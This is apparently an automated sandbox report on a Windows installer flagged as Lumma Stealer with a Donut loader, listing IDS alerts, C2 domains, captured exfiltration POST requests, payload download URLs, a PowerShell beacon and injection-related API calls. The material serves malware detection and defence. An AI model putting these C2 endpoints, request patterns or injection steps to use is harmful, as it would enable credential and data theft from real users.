Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 13884179h	0_2_029C0D32
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov ecx, eax	0_2_029BD522
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov ebx, edx	0_2_029AAD42

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49749 -> 104.21.25.52:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49757 -> 104.21.25.52:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49755 -> 104.21.25.52:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49749 -> 104.21.25.52:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49748 -> 104.21.25.52:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49748 -> 104.21.25.52:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49756 -> 104.21.25.52:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: beattalkerz.cyou
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop

Source: Joe Sandbox View

IP Address: 185.161.251.21 185.161.251.21

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49749 -> 104.21.25.52:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49751 -> 104.21.25.52:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49755 -> 104.21.25.52:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49752 -> 104.21.25.52:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49754 -> 104.21.25.52:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49757 -> 104.21.25.52:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49750 -> 104.21.25.52:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49748 -> 104.21.25.52:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49758 -> 185.161.251.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49756 -> 104.21.25.52:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: beattalkerz.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 78Host: beattalkerz.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GEC2K66UIK1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18120Host: beattalkerz.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0J1ENAKYSQRTU5UCLUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8777Host: beattalkerz.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=B7GDPGPLHYUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20394Host: beattalkerz.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8Z8YAVH559VDX1PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7111Host: beattalkerz.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DQ9HCLZXYVNW0P7RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1241Host: beattalkerz.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DPCH7IOTRUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 586472Host: beattalkerz.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 113Host: beattalkerz.cyou
Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop

Source: global traffic	DNS traffic detected: DNS query: beattalkerz.cyou
Source: global traffic	DNS traffic detected: DNS query: cegu.shop
Source: global traffic	DNS traffic detected: DNS query: klipvumisui.shop
Source: global traffic	DNS traffic detected: DNS query: dfgh.online

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: beattalkerz.cyou

Source: Set-UpFile_v25.exe, 00000000.00000003.1816330142.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Set-UpFile_v25.exe, 00000000.00000003.1816330142.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Set-UpFile_v25.exe	String found in binary or memory: http://certificates.starfieldtech.com/repository/1604
Source: powershell.exe, 00000004.00000002.1969577811.00000000005D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: Set-UpFile_v25.exe, 00000000.00000003.1816330142.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Set-UpFile_v25.exe	String found in binary or memory: http://crl.starfieldtech.com/repository/0
Source: Set-UpFile_v25.exe	String found in binary or memory: http://crl.starfieldtech.com/repository/sfsroot.crl0P
Source: Set-UpFile_v25.exe	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: Set-UpFile_v25.exe, 00000000.00000003.1816330142.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Set-UpFile_v25.exe, 00000000.00000003.1816330142.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Set-UpFile_v25.exe, 00000000.00000003.1816330142.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Set-UpFile_v25.exe, 00000000.00000003.1816330142.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: powershell.exe, 00000004.00000002.1978484027.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Set-UpFile_v25.exe, 00000000.00000003.1816330142.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Set-UpFile_v25.exe, 00000000.00000003.1816330142.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Set-UpFile_v25.exe	String found in binary or memory: http://ocsp.starfieldtech.com/0D
Source: Set-UpFile_v25.exe	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000004.00000002.1971280536.00000000048B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1981590560.0000000006D97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: Set-UpFile_v25.exe	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: Set-UpFile_v25.exe	String found in binary or memory: http://s2.symcb.com0
Source: powershell.exe, 00000004.00000002.1971280536.0000000004761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Set-UpFile_v25.exe	String found in binary or memory: http://sf.symcb.com/sf.crl0f
Source: Set-UpFile_v25.exe	String found in binary or memory: http://sf.symcb.com/sf.crt0
Source: Set-UpFile_v25.exe	String found in binary or memory: http://sf.symcd.com0&
Source: Set-UpFile_v25.exe	String found in binary or memory: http://sv.symcb.com/sv.crl0W
Source: Set-UpFile_v25.exe	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: Set-UpFile_v25.exe	String found in binary or memory: http://sv.symcd.com0&
Source: Set-UpFile_v25.exe	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: Set-UpFile_v25.exe	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: Set-UpFile_v25.exe	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: powershell.exe, 00000004.00000002.1971280536.00000000048B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1981590560.0000000006D97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Set-UpFile_v25.exe	String found in binary or memory: http://www.innosetup.com/
Source: Set-UpFile_v25.exe	String found in binary or memory: http://www.remobjects.com/ps
Source: Set-UpFile_v25.exe	String found in binary or memory: http://www.symauth.com/cps0(
Source: Set-UpFile_v25.exe	String found in binary or memory: http://www.symauth.com/rpa00
Source: Set-UpFile_v25.exe, 00000000.00000003.1816330142.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Set-UpFile_v25.exe, 00000000.00000003.1816330142.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000004.00000002.1971280536.0000000004761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000002.1962621793.0000000000807000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyorT
Source: Set-UpFile_v25.exe, 00000000.00000003.1907601851.000000000367B000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1804338671.0000000003679000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou/
Source: Set-UpFile_v25.exe, 00000000.00000002.1962621793.0000000000817000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1958807611.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou/4I
Source: Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000008B1000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1920128987.00000000008AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou/F
Source: Set-UpFile_v25.exe, 00000000.00000003.1790726742.0000000000845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou/api
Source: Set-UpFile_v25.exe, 00000000.00000003.1907601851.000000000367F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou/api0
Source: Set-UpFile_v25.exe, 00000000.00000003.1908617857.0000000003680000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1907601851.000000000367F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou/api9bf$
Source: Set-UpFile_v25.exe, 00000000.00000003.1958807611.0000000000845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou/apiF9
Source: Set-UpFile_v25.exe, 00000000.00000003.1958807611.0000000000845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou/apibu
Source: Set-UpFile_v25.exe, 00000000.00000003.1790726742.0000000000845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou/apic
Source: Set-UpFile_v25.exe, 00000000.00000003.1876965792.000000000367F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou/apijh
Source: Set-UpFile_v25.exe, 00000000.00000002.1962621793.000000000081A000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1958807611.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou/apilMQ-$
Source: Set-UpFile_v25.exe, 00000000.00000003.1876965792.000000000367F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou/apila
Source: Set-UpFile_v25.exe, 00000000.00000003.1908617857.0000000003680000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1907601851.000000000367F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou/apis
Source: Set-UpFile_v25.exe, 00000000.00000003.1877000966.000000000367A000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1877228216.000000000367A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou/apizp
Source: Set-UpFile_v25.exe, 00000000.00000003.1920128987.00000000008AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou/f
Source: Set-UpFile_v25.exe, 00000000.00000003.1877000966.000000000367A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou/y
Source: Set-UpFile_v25.exe, 00000000.00000003.1908751924.0000000000889000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1907710395.0000000000881000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1958807611.0000000000888000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000002.1962678644.000000000088B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beattalkerz.cyou:443/api
Source: Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Set-UpFile_v25.exe, 00000000.00000002.1966453532.0000000003683000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/
Source: Set-UpFile_v25.exe, 00000000.00000002.1966453532.0000000003683000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txt
Source: Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000004.00000002.1978484027.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1978484027.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1978484027.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: Set-UpFile_v25.exe	String found in binary or memory: https://d.symcb.com/cps0%
Source: Set-UpFile_v25.exe	String found in binary or memory: https://d.symcb.com/rpa0
Source: powershell.exe, 00000004.00000002.1971280536.00000000048B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online
Source: powershell.exe, 00000004.00000002.1971280536.0000000004761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=
Source: powershell.exe, 00000004.00000002.1971280536.00000000048B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=user-PCx
Source: powershell.exe, 00000004.00000002.1970487568.0000000000760000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compname=
Source: Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000004.00000002.1971280536.00000000048B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1981590560.0000000006D97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1971280536.0000000004F58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/
Source: Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000008AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txt
Source: Set-UpFile_v25.exe, 00000000.00000003.1958807611.0000000000845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txt%
Source: Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000008A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txt.3
Source: Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000008AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txtcoded
Source: Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000008AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txtf1R=
Source: Set-UpFile_v25.exe, 00000000.00000003.1958807611.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop:443/int_clp_sha.txt
Source: powershell.exe, 00000004.00000002.1978484027.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: Set-UpFile_v25.exe, 00000000.00000003.1793129972.0000000003715000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: Set-UpFile_v25.exe, 00000000.00000003.1817560685.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Set-UpFile_v25.exe, 00000000.00000003.1817560685.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Set-UpFile_v25.exe, 00000000.00000003.1793274288.00000000036C9000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1793129972.0000000003713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Set-UpFile_v25.exe, 00000000.00000003.1793274288.00000000036A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Set-UpFile_v25.exe, 00000000.00000003.1793274288.00000000036C9000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1793129972.0000000003713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Set-UpFile_v25.exe, 00000000.00000003.1793274288.00000000036A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Set-UpFile_v25.exe, 00000000.00000003.1817560685.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Set-UpFile_v25.exe, 00000000.00000003.1817560685.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Set-UpFile_v25.exe, 00000000.00000003.1817560685.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Set-UpFile_v25.exe, 00000000.00000003.1817560685.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Set-UpFile_v25.exe, 00000000.00000003.1817560685.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756

Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49758 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1964396889.0000000002980000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe

Code function: 0_2_029D2D35 NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,CreateThread,

0_2_029D2D35

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02980375	0_2_02980375
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029D2D35	0_2_029D2D35
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_029A4292	0_2_029A4292
